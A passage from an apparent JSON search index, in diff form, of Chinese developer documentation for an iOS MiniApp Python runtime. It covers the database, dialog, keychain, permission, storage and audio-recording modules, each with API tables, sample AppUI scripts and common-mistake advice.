entry[\"key\"]),\n \"rating\": f\"⭐ {value.get('rating', '—')}\",\n })\n state.batch_update(\n status=f\"共 {favorites.count()} 条记录\",\n count=str(favorites.count()),\n items=rows,\n )\n\n\ndef add_sample():\n key = f\"item-{favorites.count() + 1}\"\n favorites.upsert(key, {\"title\": f\"示例 {key}\", \"rating\": 8.5})\n refresh_list()\n\n\ndef clear_all():\n favorites.clear()\n refresh_list()\n state.status = \"已清空 collection\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"操作\", [\n appui.Button(\"添加示例\", action=add_sample)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"刷新列表\", action=refresh_list),\n appui.Button(\"清空\", action=clear_all, role=\"destructive\"),\n appui.LabeledContent(\"状态\", value=state.status),\n ]),\n appui.Section(\"列表\", [\n appui.ForEach(state.items, row_builder=item_row, key=item_key),\n ], footer=f\"当前 {state.count} 条 · collection: demo_favorites\"),\n ]).navigation_title(\"数据库\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `collection(name)` 默认库中的 JSON 文档集合(推荐) `open(name)` / `connect(name)` 打开 MiniApp 作用域 SQLite `database_path(name)` 调试用的数据库绝对路径 `close_default_database()` / `close_all()` 关闭默认库或当前进程打开的库 `Collection.upsert/get/delete` 增删改查 JSON 记录 `Collection.items/list` 排序分页列表 `Database.execute/query/transaction` 原生 SQL 操作 选型 目标 首选 API 收藏、历史、缓存、源列表 `database.collection(name)` 索引、JOIN、迁移、事务 `database.open(name)` + SQL 少量开关、主题 [storage](storage-module) token、密码 [keychain](keychain-module) Collection API 大多数 MiniApp 的首选,底层 SQLite 存 JSON 文档: import database\n\nhistory = database.collection(\"history\")\nhistory.upsert(\"ep-42\", {\"id\": \"ep-42\", \"title\": \"第 42 集\", \"position\": 128.5})\nrow = history.get(\"ep-42\")\nitems = history.list(order_by=\"updated_at desc\", limit=20)\nhistory.delete(\"ep-42\")\nhistory.clear()\nn = history.count() API 说明 `upsert(key, value)` 插入或更新 JSON `get(key, default=None)` 读取;不存在返回 `default` `delete(key)` 删除一条 `clear()` 清空当前 collection `count()` 记录数 `items(order_by, limit, offset)` 含 `key`/`value`/时间戳 `list(order_by, limit, offset)` 只返回 value 列表 `migrate_from_storage(key, key_field=\"id\")` 从 storage JSON 迁移 order_by 支持:updated_at desc/asc、created_at desc/asc、key desc/asc。 SQL API 需要明确表结构时使用: import database\n\ndb = database.open(\"media\")\ndb.executescript(\"\"\"\nCREATE TABLE IF NOT EXISTS episodes (\n id TEXT PRIMARY KEY,\n title TEXT NOT NULL,\n position REAL NOT NULL DEFAULT 0\n);\n\"\"\")\n\nwith db.transaction():\n db.execute(\n \"INSERT OR REPLACE INTO episodes(id, title, position) VALUES (?, ?, ?)\",\n [\"ep-42\", \"第 42 集\", 128.5],\n )\n\nrow = db.query_one(\"SELECT * FROM episodes WHERE id = ?\", [\"ep-42\"])\ndb.close() API 说明 `execute(sql, params)` 执行 SQL,返回影响行数 `query(sql, params)` 返回 `list[dict]` `query_one(sql, params, default)` 单行或默认值 `scalar(sql, params, default)` 第一列标量 `transaction()` 原子事务,异常回滚 `user_version` schema 版本号(`PRAGMA user_version`) `close()` 关闭当前连接 database.open(\"media\") 自动变为 media.db,拒绝 ../ 和绝对路径。 从 storage 迁移 history = database.collection(\"history\")\ncount = history.migrate_from_storage(\"video.history\", key_field=\"id\", remove=True)\nprint(\"已迁移\", count, \"条\") 常见错误 错误写法 后果 修正 大列表塞进 `storage` 慢、难查询 用 `collection()` token 写进 SQLite 不安全 用 [keychain](keychain-module) `open(\"../data.db\")` 路径被拒绝 只传 `\"media\"` 等文件名 直接 `import sqlite3` 真机可能崩溃或绕过宿主隔离 用 `import database` SQL 拼接用户输入 注入风险 用 `?` 参数绑定 长时间不 `close()` 连接泄漏 任务结束时关闭 相关文档 文档 用途 [storage](storage-module) 小型键值偏好 [keychain](keychain-module) 敏感凭据 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "dialogs-module", + "title": "dialogs", + "subtitle": "原生对话框、表单和日期选择。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/dialogs-module/", + "text": "dialogs 原生对话框、表单和日期选择。 iOS 原生模块 基础与权限 Dialog Form Date Picker dialogs alert input_alert list_dialog form_dialog date_dialog dialogs 阻塞式原生对话框:确认、输入、列表选择、简单表单和日期选择。 边界 :调用会 阻塞脚本 直到用户响应;取消时抛出 KeyboardInterrupt。适合短脚本临时交互;复杂页面、多步骤流程请用 AppUI Form / .sheet / .alert,不要在 AppUI 回调里连续弹多个阻塞对话框。 模块概览 项 说明 导入 `import dialogs` 适合做什么 脚本开始前问一个值、危险操作确认、少量字段收集 调用时机 放在明确动作后;AppUI 里仅在按钮回调中偶尔使用 推荐顺序 `try` 调用 → 处理返回值 → `except KeyboardInterrupt` 处理取消 取消行为 用户点取消会抛 `KeyboardInterrupt`,不是返回空值 快速开始 下面脚本依次弹出输入框和列表选择: import dialogs\n\ntry:\n name = dialogs.input_alert(\"名称\", placeholder=\"例如:Ada\")\n mode = dialogs.list_dialog(\"模式\", [\"快速\", \"精确\"])\n print(name, \"→\", mode)\nexcept KeyboardInterrupt:\n print(\"用户取消\") AppUI 示例 在按钮回调里触发对话框;用 try/except 处理取消,结果写回 State。 import appui\nimport dialogs\n\nstate = appui.State(\n message=\"点击按钮体验对话框\",\n last_result=\"—\",\n)\n\n\ndef show_confirm():\n try:\n index = dialogs.alert(\n \"确认操作\",\n \"这是一个演示对话框\",\n \"继续\",\n \"取消\",\n )\n state.batch_update(\n message=\"用户点了确认\" if index == 1 else \"用户选了其他按钮\",\n last_result=f\"alert 返回 {index}\",\n )\n except KeyboardInterrupt:\n state.batch_update(message=\"用户取消\", last_result=\"alert 已取消\")\n\n\ndef ask_name():\n try:\n name = dialogs.input_alert(\"你的名字\", placeholder=\"请输入\")\n state.batch_update(\n message=f\"你好,{name}\",\n last_result=name,\n )\n except KeyboardInterrupt:\n state.batch_update(message=\"输入已取消\", last_result=\"—\")\n\n\ndef pick_color():\n try:\n color = dialogs.list_dialog(\"选择颜色\", [\"红色\", \"绿色\", \"蓝色\"])\n state.batch_update(\n message=f\"已选择 {color}\",\n last_result=color,\n )\n except KeyboardInterrupt:\n state.batch_update(message=\"选择已取消\", last_result=\"—\")\n\n\ndef show_hud():\n dialogs.hud_alert(\"已保存!\", duration=1.2)\n state.message = \"HUD 提示已显示\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"对话框\", [\n appui.Button(\"确认框\", action=show_confirm)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"输入框\", action=ask_name),\n appui.Button(\"列表选择\", action=pick_color),\n appui.Button(\"HUD 提示\", action=show_hud),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"状态\", value=state.message),\n appui.LabeledContent(\"返回值\", value=state.last_result),\n ]),\n ]).navigation_title(\"对话框\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `alert(title, message, *buttons)` 确认框 → 按钮序号(1-based) `input_alert(title, ...)` 文本输入 → `str` `list_dialog(title, items, multiple=False)` 列表选择 `form_dialog(title, fields)` 简单表单 → `dict` `date_dialog(title, mode=\"date\")` 日期/时间选择 → ISO 字符串 `hud_alert(message, duration=1.0)` 短暂 HUD 提示 选择与确认 alert(title, message=\"\", button_titles, hide_cancel_button=False) — 原生确认框。 if dialogs.alert(\"删除?\", \"不可撤销\", \"删除\", \"取消\") == 1:\n do_delete() 返回按下的按钮索引( 1 based )。取消抛 KeyboardInterrupt。 input_alert(title, message=\"\", placeholder=\"\", secure=False, default_text=\"\") — 文本输入;secure=True 为密码模式。 name = dialogs.input_alert(\"API Key\", secure=True, placeholder=\"sk-...\") 列表与表单 list_dialog(title, items, multiple=False) — 单选返回 str,多选返回 list。 color = dialogs.list_dialog(\"颜色\", [\"红\", \"绿\", \"蓝\"])\ntags = dialogs.list_dialog(\"标签\", [\"A\", \"B\", \"C\"], multiple=True) form_dialog(title, fields) — 一次收集多个字段: result = dialogs.form_dialog(\"新建笔记\", [\n {\"type\": \"text\", \"key\": \"title\", \"title\": \"标题\", \"value\": \"每日笔记\"},\n {\"type\": \"switch\", \"key\": \"pinned\", \"title\": \"置顶\", \"value\": True},\n])\nprint(result[\"title\"], result[\"pinned\"]) 字段 type 支持:text、password、number、email、url、switch。 日期与 HUD date_dialog(title=\"\", mode=\"date\") — mode 可选 date / time / datetime,返回 ISO 8601 字符串。 when = dialogs.date_dialog(\"选择日期\", mode=\"date\") hud_alert(message, duration=1.0) — 自动消失的成功提示,不阻塞。 dialogs.hud_alert(\"已保存!\", duration=1.5) 选型 需求 API 简单确认 `alert` 单个文本输入 `input_alert` 从几个选项中选 `list_dialog` 一次收集少量字段 `form_dialog` 日期或时间 `date_dialog` 短暂成功提示 `hud_alert` 常见错误 错误写法 后果 修正 不捕获 `KeyboardInterrupt` 取消时脚本中断 `try/except KeyboardInterrupt` 用 `form_dialog` 做复杂动态表单 难维护 改用 AppUI `Form` AppUI 回调里连弹多个对话框 页面卡顿 合并流程或用 sheet 假设取消返回空字符串 逻辑错误 取消会抛异常 相关文档 文档 用途 [appui 列表与表单](appui-guide-lists) AppUI 内建表单与交互 [haptics](haptics-module) 操作成功后的触觉反馈 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "keychain-module", + "title": "keychain", + "subtitle": "iOS 钥匙串安全存储。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/keychain-module/", + "text": "keychain iOS 钥匙串安全存储。 iOS 原生模块 基础与权限 Secure Storage Password Token keychain password token secure storage get_services 钥匙串 keychain iOS 钥匙串:安全保存 token、密码、API Key 等敏感小字符串。 边界 :只存敏感凭据,不存主题、筛选条件或大型 JSON(用 storage)。不要把 get_password() 的明文打印到日志或界面;需要展示时用「已配置 / 未配置」或掩码。 模块概览 项 说明 导入 `import keychain` 适合做什么 登录 token、API Key、私密密码、多账号凭据 调用时机 保存/删除放在按钮回调;读取可在启动时,但不要在 `body()` 里反复读 推荐顺序 固定 `service` + `account` → `set_password` → 需要时 `get_password` → 退出时 `delete_password` 定位键 `service` 是命名空间(如 `myapp.api`),`account` 是用户名或环境名 快速开始 下面脚本写入、读取、删除一条演示凭据: import keychain\n\nSERVICE = \"demo-api\"\nACCOUNT = \"default\"\n\nok = keychain.set_password(SERVICE, ACCOUNT, \"secret-token\")\nprint(\"保存:\", ok)\n\ntoken = keychain.get_password(SERVICE, ACCOUNT)\nprint(\"已配置:\", bool(token)) # 不要 print(token) 明文\n\nok = keychain.delete_password(SERVICE, ACCOUNT)\nprint(\"删除:\", ok)\n\nfor service, account in keychain.get_services():\n print(service, account) AppUI 示例 用 SecureField 收集输入,保存后清空输入框;界面只显示状态,不展示明文 secret。 import appui\nimport keychain\n\nSERVICE = \"demo-api\"\nACCOUNT = \"default\"\n\nstate = appui.State(\n token=\"\",\n status=\"未检查\",\n message=\"输入 token 后点保存\",\n)\n\n\ndef update_token(value):\n state.token = value\n\n\ndef save_token():\n value = state.token.strip()\n if not value:\n state.message = \"请输入 token\"\n return\n ok = keychain.set_password(SERVICE, ACCOUNT, value)\n state.batch_update(\n token=\"\",\n status=\"已配置\" if ok else \"保存失败\",\n message=\"已保存到钥匙串\" if ok else \"保存失败,请重试\",\n )\n\n\ndef check_token():\n token = keychain.get_password(SERVICE, ACCOUNT)\n state.batch_update(\n status=\"已配置\" if token else \"未配置\",\n message=\"凭据存在\" if token else \"尚未保存凭据\",\n )\n\n\ndef delete_token():\n ok = keychain.delete_password(SERVICE, ACCOUNT)\n state.batch_update(\n status=\"已删除\" if ok else \"删除失败\",\n message=\"凭据已清除\" if ok else \"没有可删除的凭据\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"API Token\", [\n appui.SecureField(\"粘贴 token\", text=state.token, on_change=update_token),\n appui.Button(\"保存到钥匙串\", action=save_token)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"检查是否已配置\", action=check_token),\n appui.Button(\"删除凭据\", action=delete_token, role=\"destructive\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"配置\", value=state.status),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"钥匙串\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `set_password(service, account, password)` 保存或更新 → `bool` `get_password(service, account=\"\")` 读取 → `str` 或 `None` `delete_password(service, account=\"\")` 删除 → `bool` `get_services()` 列出本 App 已存的 `(service, account)` 读写凭据 条目由 service + account 两个字符串定位: 参数 说明 `service` 稳定命名空间,如 `openai`、`github`、`myapp.production` `account` 用户名、邮箱或环境名,如 `default`、`prod` `password` 要保存的 secret 字符串 import keychain\n\nkeychain.set_password(\"myapp.api\", \"prod\", \"sk-xxx\")\ntoken = keychain.get_password(\"myapp.api\", \"prod\")\nif token:\n # 用于请求头,不要打印到界面\n headers = {\"Authorization\": f\"Bearer {token}\"} set_password(...) — 成功返回 True,失败返回 False。 get_password(...) — 存在时返回字符串,不存在返回 None。判断用 if token:,不要假设空字符串。 delete_password(...) — 用户退出账号或切换环境时调用。 列出凭据 get_services() — 返回 list[tuple],每项是 (service, account): for service, account in keychain.get_services():\n print(service, account) 用于设置页的「已保存账号」列表;仍不要直接展示密码明文。 与 storage 的分工 数据类型 推荐模块 主题、筛选、小型 JSON [storage](storage-module) token、密码、API Key `keychain` 大文件、图片 文件系统或媒体模块 常见错误 错误写法 后果 修正 把 token 存进 `storage` 敏感数据不安全 使用 `keychain.set_password` `print(get_password(...))` secret 进入日志 只打印 `bool(token)` 或掩码 每次随机 `service` 名 旧凭据读不到 使用固定命名空间 在 `body()` 里读并显示明文 刷新时泄露 secret 只显示「已配置 / 未配置」 相关文档 文档 用途 [storage](storage-module) 非敏感偏好设置 [network](network-module) 带 token 发 HTTP 请求 [biometric](biometric-module) 生物识别解锁流程 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "permission-module", + "title": "permission", + "subtitle": "统一查询权限状态,并请求位置或通知权限。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/permission-module/", + "text": "permission 统一查询权限状态,并请求位置或通知权限。 iOS 原生模块 基础与权限 Permission Authorization Status permission 权限 authorization location notification status permission 统一权限入口:查询授权状态,并在支持的模块上触发系统授权弹窗。 边界 :permission 只管「查状态 / 弹授权」,不替代业务模块。拍照、选图、读通讯录等具体操作仍调用 photos、contacts 等模块。当前运行时 request() 仅支持 location 和 notifications ;status() 可查 location、notifications、health、motion、speech。MODULES 列出规划中的统一键名,其余键请先用各业务模块自带 API。 模块概览 项 说明 导入 `import permission` 适合做什么 设置页展示权限、功能前置判断、批量刷新状态 调用时机 `request()` 放在按钮回调;不要写在 AppUI `body()` 中 推荐顺序 `status(module)` 判断 → 需要时 `request(module)` → 再 `status` 确认 → 调业务模块 判断授权 看返回字典的 `authorized` 字段,不要只比对 `status` 字符串 快速开始 下面脚本查询定位与通知权限,并在未授权时发起申请: import permission\n\nfor key in (\"location\", \"notifications\"):\n entry = permission.status(key)\n print(key, \"→\", entry)\n\n if not entry.get(\"authorized\"):\n result = permission.request(key)\n print(\"申请结果:\", result)\n entry = permission.status(key)\n print(\"最新状态:\", entry) request(\"location\") 只触发系统弹窗,不等待用户点选;request(\"notifications\") 会等待用户响应并返回 granted。 AppUI 示例 权限操作全部放进按钮回调;被拒绝后展示状态,不循环弹窗。 import appui\nimport permission\n\nstate = appui.State(\n location_status=\"未查询\",\n notification_status=\"未查询\",\n message=\"点击按钮开始\",\n)\n\n\ndef format_entry(entry):\n if not entry:\n return \"未查询\"\n if entry.get(\"error\"):\n return str(entry.get(\"error\"))\n mark = \"已授权\" if entry.get(\"authorized\") else \"未授权\"\n return f\"{mark}({entry.get('status', 'unknown')})\"\n\n\ndef find_entry(statuses, module_name):\n for item in statuses.get(\"modules\", []):\n if item.get(\"module\") == module_name:\n return item\n return {}\n\n\ndef refresh_all():\n result = permission.status_all()\n if not result.get(\"success\", True):\n state.message = str(result)\n return\n state.location_status = format_entry(find_entry(result, \"location\"))\n state.notification_status = format_entry(find_entry(result, \"notifications\"))\n state.message = \"已刷新全部权限\"\n\n\ndef request_location():\n result = permission.request(\"location\")\n if result.get(\"error\"):\n state.message = result[\"error\"]\n return\n state.location_status = format_entry(permission.status(\"location\"))\n state.message = \"已发起定位授权,请在系统弹窗中选择\"\n\n\ndef request_notifications():\n result = permission.request(\"notifications\")\n if result.get(\"error\"):\n state.message = result[\"error\"]\n return\n if \"granted\" in result:\n mark = \"已授权\" if result.get(\"granted\") else \"未授权\"\n state.notification_status = f\"{mark}({result.get('status', '—')})\"\n else:\n state.notification_status = format_entry(permission.status(\"notifications\"))\n state.message = \"通知权限已更新\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"定位\", [\n appui.Button(\"申请定位权限\", action=request_location)\n .button_style(\"bordered_prominent\"),\n appui.LabeledContent(\"状态\", value=state.location_status),\n ]),\n appui.Section(\"通知\", [\n appui.Button(\"申请通知权限\", action=request_notifications)\n .button_style(\"bordered_prominent\"),\n appui.LabeledContent(\"状态\", value=state.notification_status),\n ]),\n appui.Section(\"批量\", [\n appui.Button(\"刷新全部状态\", action=refresh_all),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"权限中心\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `status(module)` 查询单个模块 → `dict` `request(module)` 申请权限 → `dict`(仅 `location` / `notifications`) `status_all()` 批量查询当前 Bridge 支持的模块 `MODULES` 规划中的统一权限键名列表 查询 status(module) — 查询单个模块,不弹窗。 entry = permission.status(\"location\")\nif entry.get(\"authorized\"):\n ... 常见返回字段: 字段 说明 `success` 是否查询成功 `module` 模块键名 `status` 状态字符串(各模块含义不同) `authorized` 是否视为已授权 → **优先看这个** `error` 失败时的错误信息 定位常见 status:authorized_when_in_use、authorized_always、denied、not_determined。通知常见:authorized、denied、provisional。 status_all() — 返回 Bridge 当前支持的模块列表: result = permission.status_all()\nfor item in result.get(\"modules\", []):\n print(item[\"module\"], item[\"status\"], item[\"authorized\"]) 返回结构:{\"success\": True, \"modules\": [{\"module\": \"...\", \"status\": \"...\", \"authorized\": bool}, ...]}。按 module 字段查找,不是以模块名为 key 的扁平字典。 申请 request(module) — 触发系统授权。目前仅支持: 模块键 行为 `location` 弹出「使用期间」定位授权;立即返回 `{\"action\": \"requested\"}`,需再查 `status` `notifications` 弹出通知授权;等待用户选择,返回含 `granted` 的结果 # 定位:申请后需再查询\npermission.request(\"location\")\nentry = permission.status(\"location\")\n\n# 通知:可直接看 granted\nresult = permission.request(\"notifications\")\nif result.get(\"granted\"):\n ... 对其他键(如 camera、photos、contacts)调用 request() 会返回 permission_request_not_supported。请改用业务模块,例如 notification.request_permission()、location.request_access()、photos.pick_image() 首次调用时系统会自动弹窗。 MODULES 与运行时支持 MODULES 是统一键名规划,完整列表: import permission\nprint(permission.MODULES) 当前 Bridge 已接通 的范围: 键名 `status` `request` 备注 `location` ✅ ✅ `notifications` ✅ ✅ 不是 `notification` `health` ✅ ❌ 用 [health](health-module) 按数据类型申请 `motion` / `speech` ✅ ❌ 返回 `available` 占位状态 `camera` / `photos` / `contacts` 等 ❌ ❌ 用对应业务模块 常见错误 错误写法 后果 修正 `permission.request(\"notification\")` 键名错误 使用 `notifications` 把 `request()` 返回值当 `bool` 判断逻辑错误 看 `authorized` 或 `granted` 字段 对 `camera` 调 `permission.request` 返回不支持 直接调 `photos` / `camera` 模块 在 `body()` 里请求权限 刷新时反复弹窗 放进按钮回调 用户拒绝后反复 `request` 体验差、仍拿不到权限 展示状态并引导去系统设置 相关文档 文档 用途 [location](location-module) 定位权限与坐标读取 [notification](notification-module) 通知权限与本地提醒 [photos](photos-module) 相册访问与选图 [health](health-module) HealthKit 按类型授权 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "storage-module", + "title": "storage", + "subtitle": "UserDefaults 持久键值存储。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/storage-module/", + "text": "storage UserDefaults 持久键值存储。 iOS 原生模块 基础与权限 UserDefaults Key Value JSON storage userdefaults key value set_json get_json 存储 storage 轻量级键值存储(基于 UserDefaults):保存设置项、开关、计数和小型 JSON 配置。 边界 :适合小数据偏好,不是文件数据库,也不是敏感数据存储。token / 密码用 keychain;大列表、离线缓存用 database。MiniApp 内键名会自动按应用隔离,不同 MiniApp 不会互相覆盖。 写入后可在「设置 → 应用数据」中直接查看和修改,不需要把经常变化的值写死在代码里。关联小组件会读取同一份数据;界面只显示脚本使用的简单键名,不显示内部隔离前缀。 模块概览 项 说明 导入 `import storage` 适合做什么 主题、排序、筛选条件、开关、小型 JSON 配置 调用时机 在 `on_change`、按钮回调或启动时读写;不要在 `body()` 里反复写入 推荐顺序 启动时 `get`(带默认值)→ 用户操作后 `set` → 需要时 `remove` / `all_keys` 键名规范 用 `settings.theme` 这类命名空间,避免不同脚本冲突 快速开始 下面脚本写入并读取字符串、布尔、整数和 JSON: import storage\n\nstorage.set(\"settings.theme\", \"dark\")\nstorage.set_bool(\"settings.notifications\", True)\nstorage.set_int(\"app.launch_count\", storage.get_int(\"app.launch_count\", 0) + 1)\nstorage.set_json(\"profile\", {\"name\": \"Ada\", \"level\": 3})\n\nprint(\"主题:\", storage.get(\"settings.theme\", \"system\"))\nprint(\"通知:\", storage.get_bool(\"settings.notifications\", False))\nprint(\"启动次数:\", storage.get_int(\"app.launch_count\", 0))\nprint(\"资料:\", storage.get_json(\"profile\", {})) AppUI 示例 设置项与 State 同步:用户改动时写入 storage,启动时从 storage 恢复。 import appui\nimport storage\n\nTHEME_OPTIONS = [\"跟随系统\", \"浅色\", \"深色\"]\n\nstate = appui.State(\n theme=storage.get(\"settings.theme\", \"跟随系统\"),\n notifications=storage.get_bool(\"settings.notifications\", True),\n message=\"设置会自动保存\",\n)\n\n\ndef set_theme(value):\n state.theme = value\n storage.set(\"settings.theme\", value)\n state.message = f\"主题已保存: {value}\"\n\n\ndef set_notifications(value):\n state.notifications = value\n storage.set_bool(\"settings.notifications\", value)\n state.message = \"通知开关已保存\" if value else \"通知已关闭\"\n\n\ndef reset_settings():\n for key in storage.all_keys(prefix=\"settings.\"):\n storage.remove(key)\n state.batch_update(\n theme=\"跟随系统\",\n notifications=True,\n message=\"已重置 settings.* 下的所有键\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"偏好\", [\n appui.Picker(\n \"主题\",\n selection=state.theme,\n options=THEME_OPTIONS,\n on_change=set_theme,\n ).picker_style(\"segmented\"),\n appui.Toggle(\n \"允许通知\",\n is_on=state.notifications,\n on_change=set_notifications,\n ),\n ]),\n appui.Section(\"维护\", [\n appui.Button(\"重置设置\", action=reset_settings, role=\"destructive\"),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"设置\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `get(key, default)` / `set(key, value)` 字符串读写 `get_bool` / `set_bool` 布尔读写 `get_int` / `set_int` 整数读写 `get_float` / `set_float` 浮点数读写 `get_json` / `set_json` JSON 对象读写 `has_key(key)` 判断键是否存在 `remove(key)` 删除一个键 `all_keys(prefix=\"\")` 列出键,可按前缀筛选 基础读写 import storage\n\nstorage.set(\"settings.theme\", \"dark\")\ntheme = storage.get(\"settings.theme\", \"system\")\n\nstorage.set_bool(\"settings.done\", True)\ndone = storage.get_bool(\"settings.done\", False)\n\nstorage.set_int(\"counter\", 3)\nstorage.set_float(\"volume\", 0.8) API 返回 说明 `get(key, default=None)` `str` 或 `default` 键不存在时返回 `default` `set(key, value)` `None` 写入字符串或可转字符串的值 `get_int` / `set_int` `int` / `None` 计数、索引、步进值 `get_float` / `set_float` `float` / `None` 比例、阈值、音量 `get_bool` / `set_bool` `bool` / `None` 开关状态 注意 :读取时总是传 default,让首次运行和清空后仍能正常工作。 JSON get_json(key, default=None) / set_json(key, value) — 存取 JSON 可序列化对象。 storage.set_json(\"filters\", {\"status\": \"open\", \"sort\": \"date\"})\nfilters = storage.get_json(\"filters\", {}) 保持 JSON 小而稳定;大列表、图片、日志请改用 database 或文件。 键管理 has_key(key) — 判断键是否存在(兼容旧版未隔离的键名)。 remove(key) — 删除键;会同时尝试删除当前命名空间和旧格式键。 all_keys(prefix=\"\") — 列出键,传前缀可清理一组设置: for key in storage.all_keys(prefix=\"settings.\"):\n storage.remove(key) MiniApp 内 all_keys 返回的是去掉应用前缀后的逻辑键名,便于脚本按 settings. 管理。 常见错误 错误写法 后果 修正 把 token 放进 `storage` 敏感数据不安全 使用 [keychain](keychain-module) 多个脚本共用 `theme` 短键 键名互相覆盖 使用 `settings.theme` 命名空间 读取不传 `default` 首次运行显示 `None` `storage.get(\"key\", default)` 大列表 / 图片塞进 JSON 慢、占空间 改用 [database](database-module) 或文件 相关文档 文档 用途 [keychain](keychain-module) 安全存储 token / 密码 [database](database-module) 可查询列表与离线缓存 [device](device-module) 读取设备与环境信息 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "audio-recorder-module", + "title": "audio_recorder", + "subtitle": "麦克风录音、暂停继续和电平监测。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/audio-recorder-module/", + "text": "audio_recorder 麦克风录音、暂停继续和电平监测。 iOS 原生模块 媒体 Audio Record Microphone audio_recorder record microphone 录音 麦克风 AVAudioRecorder audio_recorder 麦克风录音:把音频保存为 .m4a、.caf 或 .wav 文件。 边界 :输出文件保存在 App Documents 目录。需要麦克风系统授权;统一 permission 的 request(\"microphone\") 暂不支持弹窗 ,首次录音时系统可能提示,或在设置中开启。录音只能放在用户操作回调里,不要在 body() 中调用。 模块概览 项 说明 导入 `import audio_recorder` 适合做什么 语音备忘、口述笔记、采集音频片段 调用时机 `start()` / `stop()` 放在按钮回调 推荐顺序 `start()` → 轮询 `status()` → `stop()` 拿文件信息 有状态 支持 `pause()` / `resume()` / `cancel()` 丢弃半成品 快速开始 下面脚本开始录音、等待几秒后停止并打印文件信息: import time\nimport audio_recorder\n\ntry:\n path = audio_recorder.start()\n print(\"录音中:\", path)\n time.sleep(3)\n info = audio_recorder.stop()\n if info:\n print(\"已保存:\", info[\"path\"])\n print(\"时长:\", info[\"duration\"], \"秒\")\n print(\"大小:\", info[\"size\"], \"字节\")\nexcept audio_recorder.AudioRecorderError as exc:\n print(\"录音失败:\", exc, f\"code={exc.code}\") AppUI 示例 开始/停止放在按钮回调;用 Timer 轮询电平与时长。 import appui\nimport audio_recorder\n\nstate = appui.State(\n recording=False,\n path=\"\",\n level=0.0,\n seconds=0.0,\n status=\"点击开始录音\",\n)\n\n\ndef tick():\n if not state.recording:\n return\n st = audio_recorder.status()\n state.level = float(st.get(\"average_power\", 0.0))\n state.seconds = float(st.get(\"duration\", 0.0))\n\n\npoll_timer = appui.Timer(interval=0.1, repeats=True, action=tick)\n\n\ndef toggle_recording():\n if state.recording:\n poll_timer.stop()\n info = audio_recorder.stop() or {}\n state.batch_update(\n recording=False,\n path=info.get(\"path\", \"\"),\n status=f\"已保存 · {info.get('duration', 0):.1f}s\",\n )\n return\n\n try:\n path = audio_recorder.start()\n state.batch_update(\n recording=True,\n path=path or \"\",\n status=\"录音中…\",\n )\n poll_timer.start()\n except audio_recorder.AudioRecorderError as exc:\n state.status = f\"无法开始: {exc}(请检查麦克风权限)\"\n\n\ndef cancel_recording():\n if not state.recording:\n return\n poll_timer.stop()\n audio_recorder.cancel()\n state.batch_update(\n recording=False,\n path=\"\",\n seconds=0.0,\n status=\"已取消并删除临时文件\",\n )\n\n\ndef body():\n label = \"停止录音\" if state.recording else \"开始录音\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"录音\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\n \"电平\",\n value=f\"{state.seconds:.1f}s · {state.level:.0f} dB\",\n ),\n appui.Text(state.path).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(label, action=toggle_recording)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消录音\", action=cancel_recording, role=\"destructive\"),\n ], footer=\"真机测试最可靠;需麦克风权限。\"),\n ]).navigation_title(\"录音\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `start(path, format, ...)` 开始录音 → 文件路径 `stop()` 停止 → `{path, duration, size, format}` `pause()` / `resume()` 暂停 / 继续 `cancel()` 停止并删除半成品 `status()` 状态与电平 `is_recording()` / `duration()` 是否录音中 / 已录秒数 `metering()` `{average, peak}` 电平(dBFS) 录音控制 start(path=None, format=\"m4a\", quality=\"high\", sample_rate=44100, channels=1) path = audio_recorder.start()\npath = audio_recorder.start(format=\"wav\", quality=\"high\", channels=1) 参数 说明 `format` `m4a`(默认 AAC)/ `caf` / `wav` `quality` `low` / `medium` / `high` / `max` `sample_rate` 如 `44100`、`48000` `channels` `1` 单声道 / `2` 立体声 stop() — 返回文件信息字典;未录音时返回 None。 cancel() — 